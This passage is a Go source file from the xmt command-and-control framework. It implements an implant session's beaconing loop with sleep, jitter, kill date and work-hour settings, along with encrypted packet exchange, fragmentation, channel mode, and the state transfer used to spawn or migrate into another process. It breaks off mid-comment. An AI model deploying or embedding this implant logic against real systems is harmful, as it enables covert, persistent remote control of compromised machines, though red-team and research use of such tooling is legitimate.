github.com/iDigitalFlame/xmt@v0.5.4/c2/session.go (about)

     1  // Copyright (C) 2020 - 2023 iDigitalFlame
     2  //
     3  // This program is free software: you can redistribute it and/or modify
     4  // it under the terms of the GNU General Public License as published by
     5  // the Free Software Foundation, either version 3 of the License, or
     6  // any later version.
     7  //
     8  // This program is distributed in the hope that it will be useful,
     9  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    10  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    11  // GNU General Public License for more details.
    12  //
    13  // You should have received a copy of the GNU General Public License
    14  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    15  //
    16  
    17  package c2
    18  
    19  import (
    20  	"context"
    21  	"io"
    22  	"net"
    23  	"sync/atomic"
    24  	"time"
    25  	"unsafe"
    26  
    27  	"github.com/iDigitalFlame/xmt/c2/cfg"
    28  	"github.com/iDigitalFlame/xmt/c2/cout"
    29  	"github.com/iDigitalFlame/xmt/com"
    30  	"github.com/iDigitalFlame/xmt/com/limits"
    31  	"github.com/iDigitalFlame/xmt/com/pipe"
    32  	"github.com/iDigitalFlame/xmt/data"
    33  	"github.com/iDigitalFlame/xmt/data/crypto"
    34  	"github.com/iDigitalFlame/xmt/device/local"
    35  	"github.com/iDigitalFlame/xmt/util"
    36  	"github.com/iDigitalFlame/xmt/util/bugtrack"
    37  	"github.com/iDigitalFlame/xmt/util/xerr"
    38  )
    39  
    40  const (
    41  	sleepMod  = 5
    42  	maxErrors = 5
    43  )
    44  const spawnDefaultTime = time.Second * 10
    45  const (
    46  	infoHello   uint8 = 0
    47  	infoMigrate uint8 = iota
    48  	infoRefresh
    49  	infoSync
    50  	infoProxy
    51  	infoSyncMigrate
    52  )
    53  const (
    54  	timeSleepJitter uint8 = 0
    55  	timeKillDate    uint8 = iota
    56  	timeWorkHours
    57  )
    58  
    59  var (
    60  	// ErrFullBuffer is returned from the WritePacket function when the send
    61  	// buffer for the Session is full.
    62  	//
    63  	// This error also indicates that a call to 'Send' would block.
    64  	ErrFullBuffer = xerr.Sub("send buffer is full", 0x4C)
    65  	// ErrInvalidPacketCount is returned when attempting to read a packet marked
    66  	// as multi or frag and the total count returned is zero.
    67  	ErrInvalidPacketCount = xerr.Sub("frag/multi total is zero on a frag/multi packet", 0x4D)
    68  )
    69  
    70  // Wait will block until the current Session is closed and shutdown.
    71  func (s *Session) Wait() {
    72  	<-s.ch
    73  }
    74  func (s *Session) wait() {
    75  	if s.state.Closing() {
    76  		return
    77  	}
    78  	if s.IsClient() && s.work != nil {
    79  		for w := s.work.Work(); w > 0; w = s.work.Work() {
    80  			for len(s.tick.C) > 0 { // Drain the ticker.
    81  				<-s.tick.C
    82  			}
    83  			if cout.Enabled {
    84  				s.log.Debug(`[%s] WorkHours instructed us to wait for "%s".`, s.ID, w.String())
    85  			}
    86  			s.tick.Reset(w) // Repurpose sleep timer for wait timer.
    87  			select {
    88  			case <-s.wake:
    89  			case <-s.tick.C:
    90  			case <-s.ctx.Done():
    91  				s.state.Set(stateClosing)
    92  				return
    93  			}
    94  		}
    95  		for len(s.tick.C) > 0 { // Drain the ticker.
    96  			<-s.tick.C
    97  		}
    98  	}
    99  	if s.IsClient() && !s.kill.IsZero() && time.Now().After(s.kill) {
   100  		if cout.Enabled {
   101  			s.log.Info(`[%s] Kill Date "%s" was hit, triggering shutdown!`, s.ID, s.kill.Format(time.UnixDate))
   102  		}
   103  		s.state.Set(stateClosing)
   104  		return
   105  	}
   106  	if s.sleep < 1 {
   107  		return
   108  	}
   109  	w := s.sleep
   110  	if s.jitter > 0 && s.jitter < 101 {
   111  		if (s.jitter == 100 || uint8(util.FastRandN(100)) < s.jitter) && w > time.Millisecond {
   112  			d := util.Rand.Int63n(int64(w / time.Millisecond))
   113  			if util.FastRandN(2) == 1 {
   114  				d = d * -1
   115  			}
   116  			if w += time.Duration(d) * time.Millisecond; w < 0 {
   117  				w = w * -1
   118  			}
   119  			if w == 0 {
   120  				w = s.sleep
   121  			}
   122  		}
   123  	}
   124  	if s.tick == nil {
   125  		s.tick = newSleeper(w)
   126  	} else {
   127  		for len(s.tick.C) > 0 { // Drain the ticker.
   128  			<-s.tick.C
   129  		}
   130  		s.tick.Reset(w)
   131  	}
   132  	if cout.Enabled {
   133  		s.log.Trace("[%s] Sleeping for %s.", s.ID, w)
   134  	}
   135  	select {
   136  	case <-s.wake:
   137  	case <-s.tick.C:
   138  	case <-s.ctx.Done():
   139  		s.state.Set(stateClosing)
   140  	}
   141  }
   142  
   143  // Wake will interrupt the sleep of the current Session thread. This will
   144  // trigger the send and receive functions of this Session.
   145  //
   146  // This is not valid for Server side Sessions.
   147  func (s *Session) Wake() {
   148  	if s.wake == nil || !s.IsClient() || s.state.WakeClosed() {
   149  		return
   150  	}
   151  	select {
   152  	case s.wake <- wake:
   153  	default:
   154  	}
   155  }
   156  func (s *Session) listen() {
   157  	if !s.IsClient() {
   158  		// NOTE(dij): Server side sessions shouldn't be running this, bail.
   159  		return
   160  	}
   161  	if bugtrack.Enabled {
   162  		defer bugtrack.Recover("c2.Session.listen()")
   163  	}
   164  	var (
   165  		z = func() {}
   166  		e bool
   167  	)
   168  	for s.wait(); ; s.wait() {
   169  		if cout.Enabled {
   170  			s.log.Trace("[%s] Waking up..", s.ID)
   171  		}
   172  		if s.errors == 0 {
   173  			// If the previous session ended with no errors, check Frags first
   174  			// to prevent stalling the connect loop.
   175  			s.markSweepFrags()
   176  		}
   177  		if s.state.Closing() {
   178  			if s.state.Moving() {
   179  				if cout.Enabled {
   180  					s.log.Info("[%s] Session is being migrated, closing down our threads!", s.ID)
   181  				}
   182  				break
   183  			}
   184  			if cout.Enabled {
   185  				s.log.Info("[%s] Shutdown indicated, queuing final Shutdown Packet.", s.ID)
   186  			}
   187  			// NOTE(dij): This action disregards the packet that might be
   188  			//            in the peek queue. Not sure if we should worry about
   189  			//            this one tbh.
   190  			s.peek = &com.Packet{ID: SvShutdown, Device: s.ID}
   191  			s.state.Set(stateShutdown)
   192  			s.state.Unset(stateChannelValue)
   193  			s.state.Unset(stateChannelUpdated)
   194  			s.state.Unset(stateChannel)
   195  			select {
   196  			case <-s.ctx.Done():
   197  				// Base context is canceled, so let's add fake timeout context to
   198  				// replace this one. 10 seconds seems fair.
   199  				s.ctx, z = context.WithTimeout(context.Background(), spawnDefaultTime)
   200  			default:
   201  			}
   202  		}
   203  		if s.host.Unwrap(); s.swap != nil {
   204  			if s.p, s.swap = s.swap, nil; cout.Enabled {
   205  				s.log.Debug("[%s] Performing a Profile swap!", s.ID)
   206  			}
   207  			var h string
   208  			if h, s.w, s.t = s.p.Next(); len(h) > 0 {
   209  				s.host.Set(h)
   210  			}
   211  			if d := s.p.Sleep(); d > 0 {
   212  				s.sleep = d
   213  			}
   214  			if j := s.p.Jitter(); j >= 0 && j <= 100 {
   215  				s.jitter = uint8(j)
   216  			}
   217  			if k, ok := s.p.KillDate(); ok {
   218  				s.kill = k
   219  			}
   220  			if w := s.p.WorkHours(); w != nil {
   221  				if w.Empty() {
   222  					s.work = nil
   223  				} else {
   224  					s.work = w
   225  				}
   226  			}
   227  		}
   228  		if s.p.Switch(e) {
   229  			var h string
   230  			if h, s.w, s.t = s.p.Next(); len(h) > 0 {
   231  				s.host.Set(h)
   232  			}
   233  			s.errors--
   234  		}
   235  		c, err := s.p.Connect(s.ctx, s.host.String())
   236  		s.host.Wrap()
   237  		if e = false; err != nil {
   238  			if s.state.Closing() {
   239  				break
   240  			}
   241  			if cout.Enabled {
   242  				s.log.Error(`[%s] Error attempting to connect to "%s": %s!`, s.ID, s.host, err.Error())
   243  			}
   244  			if e = true; s.errors <= maxErrors {
   245  				s.errors++
   246  				continue
   247  			}
   248  			if cout.Enabled {
   249  				s.log.Error("[%s] Too many errors, closing Session!", s.ID)
   250  			}
   251  			break
   252  		}
   253  		if cout.Enabled {
   254  			s.log.Debug(`[%s] Connected to "%s"..`, s.ID, s.host)
   255  		}
   256  		if e = !s.session(c); e {
   257  			s.errors++
   258  		} else {
   259  			s.errors = 0
   260  		}
   261  		if c.Close(); s.errors > maxErrors {
   262  			if cout.Enabled {
   263  				s.log.Error("[%s] Too many errors, closing Session!", s.ID)
   264  			}
   265  			break
   266  		}
   267  		if s.state.Shutdown() {
   268  			break
   269  		}
   270  	}
   271  	// If a temp context was added, clear it.
   272  	if z(); cout.Enabled {
   273  		s.log.Trace("[%s] Stopping transaction thread..", s.ID)
   274  	}
   275  	s.shutdown()
   276  }
   277  func (s *Session) shutdown() {
   278  	if s.Shutdown != nil && !s.state.Moving() {
   279  		s.m.queue(event{s: s, sf: s.Shutdown})
   280  	}
   281  	if s.proxy != nil {
   282  		_ = s.proxy.Close()
   283  	}
   284  	if s.lock.Lock(); !s.state.SendClosed() {
   285  		s.state.Set(stateSendClose)
   286  		close(s.send)
   287  	}
   288  	if s.wake != nil && !s.state.WakeClosed() {
   289  		s.state.Set(stateWakeClose)
   290  		close(s.wake)
   291  	}
   292  	if s.recv != nil && !s.state.CanRecv() && !s.state.RecvClosed() {
   293  		s.state.Set(stateRecvClose)
   294  		close(s.recv)
   295  	}
   296  	if s.tick != nil {
   297  		s.tick.Stop()
   298  	}
   299  	if s.state.Set(stateClosed); !s.IsClient() {
   300  		s.s.Remove(s.ID, false)
   301  	}
   302  	s.m.close()
   303  	if s.lock.Unlock(); s.isMoving() {
   304  		return
   305  	}
   306  	close(s.ch)
   307  }
   308  
   309  // Close stops the listening thread from this Session and releases all
   310  // associated resources.
   311  //
   312  // This function blocks until the running threads close completely.
   313  func (s *Session) Close() error {
   314  	return s.close(true)
   315  }
   316  
   317  // Jitter returns the Jitter percentage value. Values of zero (0) indicate that
   318  // Jitter is disabled.
   319  func (s *Session) Jitter() uint8 {
   320  	return s.jitter
   321  }
   322  
   323  // IsProxy returns true when a Proxy has been attached to this Session and is
   324  // active.
   325  func (s *Session) IsProxy() bool {
   326  	return !s.state.Closing() && s.IsClient() && s.proxy != nil && s.proxy.IsActive()
   327  }
   328  func (s *Session) isMoving() bool {
   329  	return s.IsClient() && s.state.Moving()
   330  }
   331  
   332  // IsActive returns true if this Session is still able to send and receive
   333  // Packets.
   334  func (s *Session) IsActive() bool {
   335  	return !s.state.Closing()
   336  }
   337  
   338  // IsClosed returns true if the Session is considered "Closed" and cannot
   339  // send/receive Packets.
   340  func (s *Session) IsClosed() bool {
   341  	return s.state.Closed()
   342  }
   343  
   344  // InChannel will return true is this Session sets the Channel flag on any
   345  // Packets that flow through this Session, including Proxied clients or if this
   346  // Session is currently in Channel mode, even if not explicitly set.
   347  func (s *Session) InChannel() bool {
   348  	return s.state.Channel() || s.state.ChannelValue()
   349  }
   350  func (s *Session) markSweepFrags() {
   351  	// Frags have their 'c' (count) value set to '5' every time they receive a
   352  	// matching Packet.
   353  	//
   354  	// If after 5 "rounds" (sleep-n-wake) and no Packets have been received, we
   355  	// consider it dud and clear/remove it.
   356  	//
   357  	// TODO(dij): Is 5 too graceful? Should it be 3 instead?
   358  	if len(s.frags) == 0 {
   359  		return
   360  	}
   361  	d := make([]uint16, 0, len(s.frags))
   362  	for k, v := range s.frags {
   363  		if v.c--; v.c == 0 {
   364  			for i := range v.data {
   365  				v.data[i].Clear()
   366  				v.data[i] = nil
   367  			}
   368  			v.data = nil
   369  			d = append(d, k)
   370  		}
   371  	}
   372  	for i := range d {
   373  		s.frags[d[i]] = nil
   374  		if delete(s.frags, d[i]); cout.Enabled {
   375  			s.log.Debug("[%s] Clearing out-of-date Frag Group 0x%X.", s.ID, d[i])
   376  		}
   377  	}
   378  }
   379  
   380  // Read attempts to grab a Packet from the receiving buffer.
   381  //
   382  // This function returns nil if the buffer is empty.
   383  func (s *Session) Read() *com.Packet {
   384  	if s.recv == nil || !s.state.CanRecv() {
   385  		return nil
   386  	}
   387  	if len(s.recv) > 0 {
   388  		return <-s.recv
   389  	}
   390  	return nil
   391  }
   392  
   393  // SetChannel will disable setting the Channel mode of this Session.
   394  //
   395  // If true, every Packet sent will trigger Channel mode. This setting does NOT
   396  // affect the Session enabling Channel mode if a Packet is sent with the Channel
   397  // Flag enabled.
   398  //
   399  // Changes to this setting will call the 'Wake' function.
   400  func (s *Session) SetChannel(c bool) {
   401  	if s.state.Closing() || s.isMoving() || !s.state.SetChannel(c) {
   402  		return
   403  	}
   404  	if c {
   405  		s.queue(&com.Packet{Flags: com.FlagChannel, Device: s.ID})
   406  	} else {
   407  		s.queue(&com.Packet{Flags: com.FlagChannelEnd, Device: s.ID})
   408  	}
   409  	if !s.state.Channel() && s.IsClient() && s.wake != nil && len(s.wake) < cap(s.wake) {
   410  		s.wake <- wake
   411  	}
   412  }
   413  
   414  // RemoteAddr returns a string representation of the remotely connected IP
   415  // address.
   416  //
   417  // This could be the IP address of the c2 server or the public IP of the client.
   418  func (s *Session) RemoteAddr() string {
   419  	return s.host.String()
   420  }
   421  
   422  // Send adds the supplied Packet into the stack to be sent to the server on next
   423  // wake. This call is asynchronous and returns immediately.
   424  //
   425  // Unlike 'Write' this function does NOT return an error and will wait if the
   426  // send buffer is full.
   427  func (s *Session) Send(p *com.Packet) {
   428  	s.write(true, p)
   429  }
   430  func (s *Session) close(w bool) error {
   431  	if s.state.Closing() {
   432  		return nil
   433  	}
   434  	if !s.IsClient() && !s.state.ShutdownWait() {
   435  		s.peek = &com.Packet{ID: SvShutdown, Device: s.ID}
   436  		if !s.state.SendClosed() {
   437  			for len(s.send) > 0 {
   438  				<-s.send // Clear the send queue.
   439  			}
   440  		}
   441  		s.state.Unset(stateChannelValue)
   442  		s.state.Unset(stateChannelUpdated)
   443  		s.state.Unset(stateChannel)
   444  		return nil
   445  	}
   446  	s.state.Unset(stateChannelValue)
   447  	s.state.Unset(stateChannelUpdated)
   448  	s.state.Unset(stateChannel)
   449  	if s.state.Set(stateClosing); !s.IsClient() {
   450  		s.shutdown()
   451  		return nil
   452  	}
   453  	if s.Wake(); w {
   454  		<-s.ch
   455  	}
   456  	return nil
   457  }
   458  func (s *Session) pickWait(o *uint32) {
   459  	if bugtrack.Enabled {
   460  		defer bugtrack.Recover("c2.Session.pickWait()")
   461  	}
   462  	if s.wait(); atomic.LoadUint32(o) != 0 {
   463  		return
   464  	}
   465  	if n := s.keyNextSync(); n != nil {
   466  		s.send <- n
   467  	} else {
   468  		s.send <- &com.Packet{Device: s.ID}
   469  	}
   470  }
   471  func (s *Session) queue(n *com.Packet) {
   472  	if s.state.SendClosed() {
   473  		return
   474  	}
   475  	if n.Device.Empty() {
   476  		if n.Device = local.UUID; bugtrack.Enabled {
   477  			bugtrack.Track("c2.(*Session).queue(): Found an empty ID value during Packet n=%s queue!", n)
   478  		}
   479  	}
   480  	if cout.Enabled {
   481  		s.log.Trace(`[%s] Adding Packet "%s" to queue.`, s.ID, n)
   482  	}
   483  	if s.chn != nil {
   484  		select {
   485  		case s.chn <- n:
   486  		default:
   487  			if cout.Enabled {
   488  				s.log.Warning(`[%s] Packet "%s" was dropped during a call to queue! (Maybe increase the chan size?)`, s.ID, n)
   489  			}
   490  		}
   491  		return
   492  	}
   493  	select {
   494  	case s.send <- n:
   495  	default:
   496  		if cout.Enabled {
   497  			s.log.Warning(`[%s] Packet "%s" was dropped during a call to queue! (Maybe increase the chan size?)`, s.ID, n)
   498  		}
   499  	}
   500  }
   501  
   502  // Time returns the value for the timeout period between C2 Server connections.
   503  func (s *Session) Time() time.Duration {
   504  	return s.sleep
   505  }
   506  
   507  // KillDate returns the current KillDate of this Session. If there is no KillDate
   508  // set, this function returns an empty 'time.Time' instance.
   509  func (s *Session) KillDate() time.Time {
   510  	return s.kill
   511  }
   512  
   513  // Done returns a channel that's closed when this Session is closed.
   514  //
   515  // This can be used to monitor a Session's status using a select statement.
   516  func (s *Session) Done() <-chan struct{} {
   517  	return s.ch
   518  }
   519  func (s *Session) channelRead(x net.Conn) {
   520  	if bugtrack.Enabled {
   521  		defer bugtrack.Recover("c2.Session.channelRead()")
   522  	}
   523  	if cout.Enabled {
   524  		s.log.Info("[%s:C->S:R] %s: Started Channel writer.", s.ID, s.host)
   525  	}
   526  	for x.SetReadDeadline(time.Now().Add(s.sleep * sleepMod)); s.state.Channel(); x.SetReadDeadline(time.Now().Add(s.sleep * sleepMod)) {
   527  		n, err := readPacket(x, s.w, s.t)
   528  		if err != nil {
   529  			if cout.Enabled {
   530  				s.log.Error("[%s:C->S:R] %s: Error reading next wire Packet: %s!", s.ID, s.host, err.Error())
   531  			}
   532  			break
   533  		}
   534  		// KeyCrypt: Decrypt incoming Packet here to be read.
   535  		if n.KeyCrypt(s.keys); cout.Enabled {
   536  			s.log.Trace(`[%s:C->S:R] %s: Received a Packet "%s".`, s.ID, s.host, n)
   537  		}
   538  		if err = receive(s, s.parent, n); err != nil {
   539  			if cout.Enabled {
   540  				s.log.Error("[%s:C->S:R] %s: Error processing Packet data: %s!", s.ID, s.host, err.Error())
   541  			}
   542  			break
   543  		}
   544  		if s.Last = time.Now(); n.Flags&com.FlagChannelEnd != 0 || s.state.ChannelCanStop() {
   545  			if cout.Enabled {
   546  				s.log.Debug("[%s:C->S:R] Session/Packet indicated channel close!", s.ID)
   547  			}
   548  			break
   549  		}
   550  	}
   551  	if x.SetDeadline(time.Now().Add(-time.Second)); cout.Enabled {
   552  		s.log.Debug("[%s:C->S:R] Closed Channel reader.", s.ID)
   553  	}
   554  }
   555  func (s *Session) channelWrite(x net.Conn) {
   556  	if cout.Enabled {
   557  		s.log.Debug("[%s:C->S:W] %s: Started Channel writer.", s.ID, s.host)
   558  	}
   559  	for x.SetDeadline(time.Now().Add(s.sleep * sleepMod)); s.state.Channel(); x.SetDeadline(time.Now().Add(s.sleep * sleepMod)) {
   560  		n := s.next(false)
   561  		if n == nil {
   562  			if cout.Enabled {
   563  				s.log.Debug("[%s:C->S:W] Session indicated channel close!", s.ID)
   564  			}
   565  			break
   566  		}
   567  		if s.state.ChannelCanStop() {
   568  			n.Flags |= com.FlagChannelEnd
   569  		}
   570  		// KeyCrypt: Encrypt new Packet here to be sent.
   571  		if n.KeyCrypt(s.keys); cout.Enabled {
   572  			s.log.Debug(`[%s:C->S:W] %s: Sending Packet "%s".`, s.ID, s.host, n)
   573  		}
   574  		if err := writePacket(x, s.w, s.t, n); err != nil {
   575  			if n.Clear(); cout.Enabled {
   576  				if isClosedError(err) {
   577  					s.log.Debug("[%s:C->S:W] %s: Write channel socket closed.", s.ID, s.host)
   578  				} else {
   579  					s.log.Error("[%s:C->S:W] %s: Error attempting to write Packet: %s!", s.ID, s.host, err.Error())
   580  				}
   581  			}
   582  			// KeyCrypt: Revert key exchange as send failed.
   583  			s.keyCheckRevert()
   584  			break
   585  		}
   586  		// KeyCrypt: "next" was called, check for a Key Swap.
   587  		s.keyCheckSync()
   588  		if n.Clear(); n.Flags&com.FlagChannelEnd != 0 || s.state.ChannelCanStop() {
   589  			if cout.Enabled {
   590  				s.log.Debug("[%s:C->S:W] Session/Packet indicated channel close!", s.ID)
   591  			}
   592  			break
   593  		}
   594  	}
   595  	if x.Close(); cout.Enabled {
   596  		s.log.Debug("[%s:S->C:W] Closed Channel writer.", s.ID)
   597  	}
   598  }
   599  func (s *Session) session(c net.Conn) bool {
   600  	n := s.next(false)
   601  	if s.state.Unset(stateChannel); s.state.ChannelCanStart() {
   602  		if n.Flags |= com.FlagChannel; cout.Enabled {
   603  			s.log.Trace("[%s] %s: Setting Channel flag on next Packet!", s.ID, s.host)
   604  		}
   605  		s.state.Set(stateChannel)
   606  	} else if n.Flags&com.FlagChannel != 0 {
   607  		if cout.Enabled {
   608  			s.log.Trace("[%s] %s: Channel was set by next incoming Packet!", s.ID, s.host)
   609  		}
   610  		s.state.Set(stateChannel)
   611  	}
   612  	// KeyCrypt: Do NOT encrypt hello Packets.
   613  	if n.ID != SvHello {
   614  		// KeyCrypt: Encrypt new Packet here to be sent.
   615  		n.KeyCrypt(s.keys)
   616  	}
   617  	if cout.Enabled {
   618  		s.log.Trace(`[%s] %s: Sending Packet "%s".`, s.ID, s.host, n)
   619  	}
   620  	err := writePacket(c, s.w, s.t, n)
   621  	if n.Clear(); err != nil {
   622  		if cout.Enabled {
   623  			s.log.Error("[%s] %s: Error attempting to write Packet: %s!", s.ID, s.host, err.Error())
   624  		}
   625  		// KeyCrypt: Revert key exchange as send failed.
   626  		s.keyCheckRevert()
   627  		return false
   628  	}
   629  	// KeyCrypt: "next" was called, check for a Key Swap.
   630  	if s.keyCheckSync() != nil {
   631  		return false
   632  	}
   633  	if n.Flags&com.FlagChannel != 0 && !s.state.Channel() {
   634  		s.state.Set(stateChannel)
   635  	}
   636  	n = nil
   637  	if n, err = readPacket(c, s.w, s.t); err != nil {
   638  		if cout.Enabled {
   639  			s.log.Error("[%s] %s: Error attempting to read Packet: %s!", s.ID, s.host, err.Error())
   640  		}
   641  		return false
   642  	}
   643  	if n.ID != SvComplete {
   644  		// KeyCrypt: Decrypt incoming Packet here to be read (if not a SvComplete).
   645  		n.KeyCrypt(s.keys)
   646  	}
   647  	if n.Flags&com.FlagChannel != 0 && !s.state.Channel() {
   648  		if s.state.Set(stateChannel); cout.Enabled {
   649  			s.log.Trace("[%s] %s: Enabling Channel as received Packet has a Channel flag!", s.ID, s.host)
   650  		}
   651  	}
   652  	if cout.Enabled {
   653  		s.log.Debug(`[%s] %s: Received a Packet "%s"..`, s.ID, s.host, n)
   654  	}
   655  	if err = receive(s, s.parent, n); err != nil {
   656  		if n.Clear(); cout.Enabled {
   657  			s.log.Error("[%s] %s: Error processing packet data: %s!", s.ID, s.host, err.Error())
   658  		}
   659  		return false
   660  	}
   661  	if !s.state.Channel() {
   662  		return true
   663  	}
   664  	go s.channelRead(c)
   665  	s.channelWrite(c)
   666  	c.SetDeadline(time.Now().Add(-time.Second))
   667  	s.state.Unset(stateChannel)
   668  	return true
   669  }
   670  func (s *Session) pick(i bool) *com.Packet {
   671  	if s.peek != nil {
   672  		n := s.peek
   673  		s.peek = nil
   674  		return n
   675  	}
   676  	if len(s.send) > 0 {
   677  		return <-s.send
   678  	}
   679  	switch {
   680  	case !s.IsClient() && s.state.Channel():
   681  		select {
   682  		case <-s.wake:
   683  			return nil
   684  		case n := <-s.send:
   685  			return n
   686  		}
   687  	case !i && s.parent == nil && s.state.Channel():
   688  		var o uint32
   689  		go s.pickWait(&o)
   690  		n := <-s.send
   691  		atomic.StoreUint32(&o, 1)
   692  		return n
   693  	case i:
   694  		return nil
   695  	}
   696  	if n := s.keyNextSync(); n != nil {
   697  		return n
   698  	}
   699  	return &com.Packet{Device: s.ID}
   700  }
   701  func (s *Session) next(i bool) *com.Packet {
   702  	n := s.pick(i)
   703  	if n == nil {
   704  		return nil
   705  	}
   706  	if s.proxy != nil && s.proxy.IsActive() {
   707  		n.Tags = s.proxy.tags()
   708  	}
   709  	if len(s.send) == 0 && verifyPacket(n, s.ID) {
   710  		s.accept(n.Job)
   711  		s.state.SetLast(0)
   712  		return n
   713  	}
   714  	t := n.Tags
   715  	if l := s.state.Last(); l > 0 {
   716  		for n.Flags.Group() == l && len(s.send) > 0 {
   717  			n = <-s.send
   718  		}
   719  		if s.state.SetLast(0); n == nil || n.Flags.Group() == l {
   720  			return &com.Packet{Device: s.ID, Tags: t}
   721  		}
   722  	}
   723  	n, s.peek = nextPacket(s, s.send, n, s.ID, t)
   724  	n.Tags = mergeTags(n.Tags, t)
   725  	return n
   726  }
   727  
   728  // Write adds the supplied Packet into the stack to be sent to the server on the
   729  // next wake. This call is asynchronous and returns immediately.
   730  //
   731  // 'ErrFullBuffer' will be returned if the send buffer is full.
   732  func (s *Session) Write(p *com.Packet) error {
   733  	return s.write(false, p)
   734  }
   735  
   736  // WorkHours returns the current WorkHours of this Session. If there is no WorkHours
   737  // set, this function returns nil.
   738  func (s *Session) WorkHours() *cfg.WorkHours {
   739  	return s.work
   740  }
   741  
   742  // Packets will create and set up the Packet receiver channel. This function will
   743  // then return the read-only Packet channel for use.
   744  //
   745  // This function is safe to use multiple times as it will return the same chan
   746  // if it already exists.
   747  func (s *Session) Packets() <-chan *com.Packet {
   748  	if s.recv != nil && s.state.CanRecv() {
   749  		return s.recv
   750  	}
   751  	if s.isMoving() {
   752  		return nil
   753  	}
   754  	s.lock.Lock()
   755  	s.recv = make(chan *com.Packet, 128)
   756  	if s.state.Set(stateCanRecv); cout.Enabled {
   757  		s.log.Info("[%s] Enabling Packet receive channel.", s.ID)
   758  	}
   759  	s.lock.Unlock()
   760  	return s.recv
   761  }
   762  func (s *Session) write(w bool, n *com.Packet) error {
   763  	if s.state.Closing() || s.state.SendClosed() {
   764  		return io.ErrClosedPipe
   765  	}
   766  	if limits.Frag <= 0 || n.Size() <= limits.Frag {
   767  		if !w {
   768  			switch {
   769  			case s.chn != nil && len(s.chn)+1 >= cap(s.chn):
   770  				fallthrough
   771  			case len(s.send)+1 >= cap(s.send):
   772  				return ErrFullBuffer
   773  			}
   774  		}
   775  		if s.queue(n); s.state.Channel() {
   776  			s.Wake()
   777  		}
   778  		return nil
   779  	}
   780  	m := n.Size() / limits.Frag
   781  	if (m+1)*limits.Frag < n.Size() {
   782  		m++
   783  	}
   784  	if !w && len(s.send)+m >= cap(s.send) {
   785  		return ErrFullBuffer
   786  	}
   787  	var (
   788  		x    = int64(n.Size())
   789  		g    = uint16(util.FastRand())
   790  		err  error
   791  		t, v int64
   792  	)
   793  	m++
   794  	for i := 0; i < m && t < x; i++ {
   795  		c := &com.Packet{ID: n.ID, Job: n.Job, Flags: n.Flags, Chunk: data.Chunk{Limit: limits.Frag}}
   796  		c.Flags.SetGroup(g)
   797  		c.Flags.SetLen(uint16(m))
   798  		c.Flags.SetPosition(uint16(i))
   799  		if v, err = n.WriteTo(c); err != nil && err != data.ErrLimit {
   800  			c.Flags.SetLen(0)
   801  			c.Flags.SetPosition(0)
   802  			c.Flags.Set(com.FlagError)
   803  			c.Reset()
   804  			c.WriteUint8(0)
   805  		}
   806  		t += v
   807  		if s.queue(c); s.state.Channel() {
   808  			s.Wake()
   809  		}
   810  	}
   811  	n.Clear()
   812  	return err
   813  }
   814  
   815  // Spawn will execute the provided runnable and will wait up to the provided
   816  // duration to transfer profile and Session information to the new runnable
   817  // using a Pipe connection with the name provided. Once complete, and additional
   818  // copy of this Session (with a different ID) will exist.
   819  //
   820  // This function uses the Profile that was used to create this Session. This
   821  // will fail if the Profile is not binary Marshalable.
   822  //
   823  // The return values for this function are the new PID used and any errors that
   824  // may have occurred during the Spawn.
   825  func (s *Session) Spawn(n string, r runnable) (uint32, error) {
   826  	return s.SpawnProfile(n, nil, 0, r)
   827  }
   828  func (s *Session) writeDeviceInfo(t uint8, w data.Writer) error {
   829  	switch t {
   830  	case infoProxy:
   831  		return s.writeProxyData(false, w)
   832  	case infoHello, infoRefresh, infoSyncMigrate:
   833  		if err := s.Device.MarshalStream(w); err != nil {
   834  			return err
   835  		}
   836  	case infoMigrate:
   837  		if err := s.ID.Write(w); err != nil {
   838  			return err
   839  		}
   840  	}
   841  	if err := w.WriteUint8(s.jitter); err != nil {
   842  		return err
   843  	}
   844  	if err := w.WriteInt64(int64(s.sleep)); err != nil {
   845  		return err
   846  	}
   847  	if !s.kill.IsZero() {
   848  		if err := w.WriteInt64(s.kill.Unix()); err != nil {
   849  			return err
   850  		}
   851  	} else {
   852  		if err := w.WriteInt64(0); err != nil {
   853  			return err
   854  		}
   855  	}
   856  	if s.work != nil {
   857  		if err := s.work.MarshalStream(w); err != nil {
   858  			return err
   859  		}
   860  	} else {
   861  		if err := w.WriteUint32(0); err != nil {
   862  			return err
   863  		}
   864  		if err := w.WriteUint8(0); err != nil {
   865  			return err
   866  		}
   867  	}
   868  	if t > infoRefresh {
   869  		return nil
   870  	}
   871  	if err := s.writeProxyData(true, w); err != nil {
   872  		return err
   873  	}
   874  	if t != infoMigrate {
   875  		return nil
   876  	}
   877  	return s.keys.Marshal(w)
   878  }
   879  func (s *Session) readDeviceInfo(t uint8, r data.Reader) ([]proxyData, error) {
   880  	switch t {
   881  	case infoProxy:
   882  		return readProxyData(false, r)
   883  	case infoHello, infoRefresh, infoSyncMigrate:
   884  		if err := s.Device.UnmarshalStream(r); err != nil {
   885  			return nil, err
   886  		}
   887  	case infoMigrate:
   888  		if err := s.ID.Read(r); err != nil {
   889  			return nil, err
   890  		}
   891  	}
   892  	if err := r.ReadUint8(&s.jitter); err != nil {
   893  		return nil, err
   894  	}
   895  	if err := r.ReadInt64((*int64)(unsafe.Pointer(&s.sleep))); err != nil {
   896  		return nil, err
   897  	}
   898  	v, err := r.Int64()
   899  	if err != nil {
   900  		return nil, err
   901  	}
   902  	if v == 0 {
   903  		s.kill = time.Time{}
   904  	} else {
   905  		s.kill = time.Unix(v, 0)
   906  	}
   907  	var w cfg.WorkHours
   908  	if err = w.UnmarshalStream(r); err != nil {
   909  		return nil, err
   910  	}
   911  	if !w.Empty() {
   912  		s.work = &w
   913  	} else {
   914  		s.work = nil
   915  	}
   916  	if t > infoRefresh {
   917  		return nil, nil
   918  	}
   919  	p, err := readProxyData(true, r)
   920  	if err != nil {
   921  		return nil, err
   922  	}
   923  	if t != infoMigrate {
   924  		return p, nil
   925  	}
   926  	return p, s.keys.Unmarshal(r)
   927  }
   928  
   929  // Migrate will execute the provided runnable and will wait up to 60 seconds
   930  // (can be changed using 'MigrateProfile') to transfer execution control to the
   931  // new runnable using a Pipe connection with the name provided.
   932  //
   933  // This function uses the Profile that was used to create this Session. This
   934  // will fail if the Profile is not binary Marshalable.
   935  //
   936  // If 'wait' is true, this will wait for all events to complete before starting
   937  // the Migration process.
   938  //
   939  // The provided JobID will be used to indicate to the server that the associated
   940  // Migration Task was completed, as the new client will send a 'RvResult' with
